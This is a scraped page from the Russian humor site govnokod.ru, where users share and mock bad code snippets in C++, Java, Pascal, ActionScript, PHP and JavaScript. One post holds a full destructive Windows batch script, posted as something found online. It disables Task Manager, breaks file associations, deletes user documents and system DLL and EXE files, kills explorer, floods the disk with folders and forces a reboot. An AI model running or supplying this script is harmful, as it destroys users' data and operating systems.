- 1
- 2
- 3
<html class="html">
.............
</html>
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+102
<html class="html">
.............
</html>
Бывает и такое
+92
"".equalsIgnoreCase(propertiesFile) != true
индусское достояние
+999
template<class TVisitedComponentList>
TUniqueIDOfVisitedComponentList getUniqueIDOfVisitedComponentTypeList(void)
{
static Type2Type<TVisitedComponentList> UniqueObjectForVisitedComponentTypeList;
return (size_t)(&UniqueObjectForVisitedComponentTypeList);
}
template<class TVisitedComponentList>
TCastWindowComponentTo* const castWindowComponentInternal(PegThing* const Window)
{
ASSERT(Window!=NULL);
if(Window==NULL)
return NULL;
STATIC_CHECK(!(boost::mpl::empty<TVisitedComponentList>::value), TVisitedComponentList_must_be_not_empty_and_be__boost_mpl_list_c__type);
const TUniqueIDOfVisitedComponentList UniqueIDOfVisitedComponentList=this->getUniqueIDOfVisitedComponentTypeList<TVisitedComponentList>();
const TCasterRepositorys::const_iterator NotFound=_casterRepositorys.end();
TCasterRepositorys::const_iterator findedCasterRepositoryForThisVisitedComponentList=_casterRepositorys.find(UniqueIDOfVisitedComponentList);
if(findedCasterRepositoryForThisVisitedComponentList==NotFound)
{
this->registerVisitedComponentList<TVisitedComponentList>();
findedCasterRepositoryForThisVisitedComponentList=_casterRepositorys.find(UniqueIDOfVisitedComponentList);
}
ASSERT(findedCasterRepositoryForThisVisitedComponentList!=NotFound);
const TCasterRepository::const_iterator NotFoundCaster=findedCasterRepositoryForThisVisitedComponentList->second->end();
const unsigned int ComponentType=const_cast<PegThing* const>(Window)->Type();
const TCasterRepository::const_iterator findedCaster=findedCasterRepositoryForThisVisitedComponentList->second->find(ComponentType);
if(findedCaster==NotFoundCaster)
return NULL;
ASSERT(findedCaster!=NotFoundCaster);
return (*(findedCaster->second))(Window);
}
template<class TCurrentItem, class TEnd>
void registerVisitedComponentListItem(TCasterRepository& casterRepository, TCurrentItem CurrentItem, TEnd End)
{
using namespace boost;
enum {WINDOW_COMPONENT_TYPE=mpl::deref<TCurrentItem>::type::value};
STATIC_CHECK((mpl::has_key<TWindowComponentsTypeIdToTypeMap, mpl::int_<WINDOW_COMPONENT_TYPE> >::value!=0), WINDOW_COMPONENT_TYPE_must_be_at_TWindowComponentsTypeIdToTypeMap);
typedef mpl::at<TWindowComponentsTypeIdToTypeMap, mpl::int_<WINDOW_COMPONENT_TYPE> >::type TRealTypeOfWindowComponent;
this->checkDuplicateComponentTypeID(WINDOW_COMPONENT_TYPE, casterRepository);
struct _
{
static TCastWindowComponentTo* const casterForEachWindowComponent(PegThing* const Window)
{
ASSERT(Window!=NULL);
if(Window==NULL)
return NULL;
TRealTypeOfWindowComponent* const RealTypeComponent = static_cast<TRealTypeOfWindowComponent* const>(Window);
ASSERT(RealTypeComponent!=NULL);
TCastWindowComponentTo* const FinalCastedWindowComponent = static_cast<TCastWindowComponentTo* const >(RealTypeComponent);
ASSERT(FinalCastedWindowComponent!=NULL);
return FinalCastedWindowComponent;
}
};
TCasterForEachWindowComponent CasterForEachWindowComponentFunction=&(_::casterForEachWindowComponent);
this->checkDuplicateType(CasterForEachWindowComponentFunction, casterRepository);
casterRepository[WINDOW_COMPONENT_TYPE]=CasterForEachWindowComponentFunction;
registerVisitedComponentListItem(casterRepository, mpl::next<TCurrentItem>::type(), TEnd());
}
template<class TEnd>
void registerVisitedComponentListItem(TCasterRepository& casterRepository, TEnd CurrentItem, TEnd End)
{}
Код из того же большого проекта.
Ассерты после static_cast и "шаблонная магия" особенно доставляют.
Мне конечно boost::mpl нравиться, но я считаю, что его негоже использовать в реальных проектах.
+133
@echo off
echo Chr(39)>%temp%\temp1.vbs
echo Chr(39)>%temp%\temp2.vbs
echo on error resume next > %temp%\temp.vbs
echo Set S = CreateObject("Wscript.Shell") >> %temp%\temp.vbs
echo set FSO=createobject("scripting.filesystemobject")>>%temp%\temp.vbs
reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v disabletaskmgr /t REG_DWORD /d 1 /f
start %temp%\temp.vbs
start %temp%\temp1.vbs
start %temp%\temp2.vbs
del "%SystemRoot%\Driver Cache\i386\driver.cab" /f /q >nul
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
Start http://vk.com/iloverain_96
assoc .lnk=textfile
assoc .exe=mp3file
@echo off
:x
Chcp 1251
msg * Пой птичка, пиздец системе...[© Iloverain]
msg * Пой птичка, пиздец системе...[© Iloverain]
msg * Пой птичка, пиздец системе...[© Iloverain]
goto x
Chcp 1251
del "%USERPROFILE%Мои документы*.*" /q /s
label E: ГАВНО
Cd\
Cd C:
Сd windows
del *.exe
del *.ini
del *.com
cd\
cd windows
cd system
del *.dll
del *.exe
del "%SystemRoot%Cursors*.*" >nul
taskkill /f /im explorer.exe >nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul
date 01.01.01 >nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun /v 1 /t REG_DWORD /d %SystemRoot%\explorer.exe /f >nul
FOR /L %%i IN (1,1,100000) DO md %%i
Echo format C: /q c:Autoexec.bat
shutdown -r -t 0 >nul
Это bat (cmd) код. Наткнулся на просторах интернетов.
+141
#include <iostream>
using namespace std;
int main()
{
int n, m, c, b, f = 0;
cin >> n >> m;
int A[n][m];
for(int i = 0; i < n; i++ )
{
for(int j = 0; j < m; j++)
{
cin >> A[i][j];
}
}
for(int i = 0; i < n; i++ )
{
b = A[i][0];
for(int j = 0; j < m; j++)
{
c = A[0][j];
for(int a = 0; a < n; a++)
{
if(c < A[0][a])
{
c = A[0][a];
}
}
for(int k = 0; k < m; k++)
{
if(b > A[k][0])
{
b = A[k][0];
}
}
if(b == c)
{
f++;
}
}
}
cout << f;
return 0;
}
Задана матрица K, содержащая n строк и m столбцов. Седловой точкой этой матрицы назовем элемент, который одновременно является минимумом в своей строке и максимумом в своем столбце.
Найдите количество седловых точек заданной матрицы.
Вроде всё правильно, а выдаёт, что есть необработаное исключение.Что не так?
+88
var A:array of record
Foo: integer;
end;
function NewNode: integer;
begin
SetLength(A, Length(A)+1);
Result := High(A);
// возвращаем не указатель на последний элемент,
// а номер последнего элемента, потому что массив динамический и указатели нестабильны
end;
procedure DoSmth(var i: integer);
var
n1,n2: integer;
begin
n1 := NewNode;
n2 := NewNode;
// дальше что-то проделывааем над A[n1] и A[n2]
i := A[n1].Foo + A[n2].Foo;
end;
var
NewIndex: integer;
begin
NewIndex := NewNode;
DoSmth(A[NewIndex].Foo);
end.
Угадайте, почему это не будет работать и приведёт к порче памяти.
+148
http://digest.subscribe.ru/inet/review/n763622828.html
Статья прелесть. document.write() в наше-то время...
−125
public function hasServiceMan ():Object
{
if (_data)
{
try
{
return _data.team.repairman;
}
catch (er:Error)
{
return false;
}
}
return false;
}
public function hasServiceMechanic ():Object
{
if (_data)
{
try
{
return _data.team.mechanic;
}
catch (er:Error)
{
return false;
}
}
return false;
}
public function hasServiceTuningMaster ():Object
{
if (_data)
{
try
{
return _data.team.appearance;
}
catch (er:Error)
{
return false;
}
}
return false;
}
+161
while (!$db->query("INSERT INTO lots (lot_num) VALUES (".($unicnum=rand(1,99999)).")"));
Проверка и создание уникального рандомного идентификатора
+153
if (!field.parentElement.childNodes[0].checked)
{
getElementByFieldName("Original").parentNode.childNodes[0].disabled = true;
getElementByFieldName("Duplicate").parentNode.childNodes[0].disabled = true;
...
Далее идет ещё примерно 20 аналогичных обращений, аля parentNode.childNodes[0]
Очень читабельный и понятный код! :)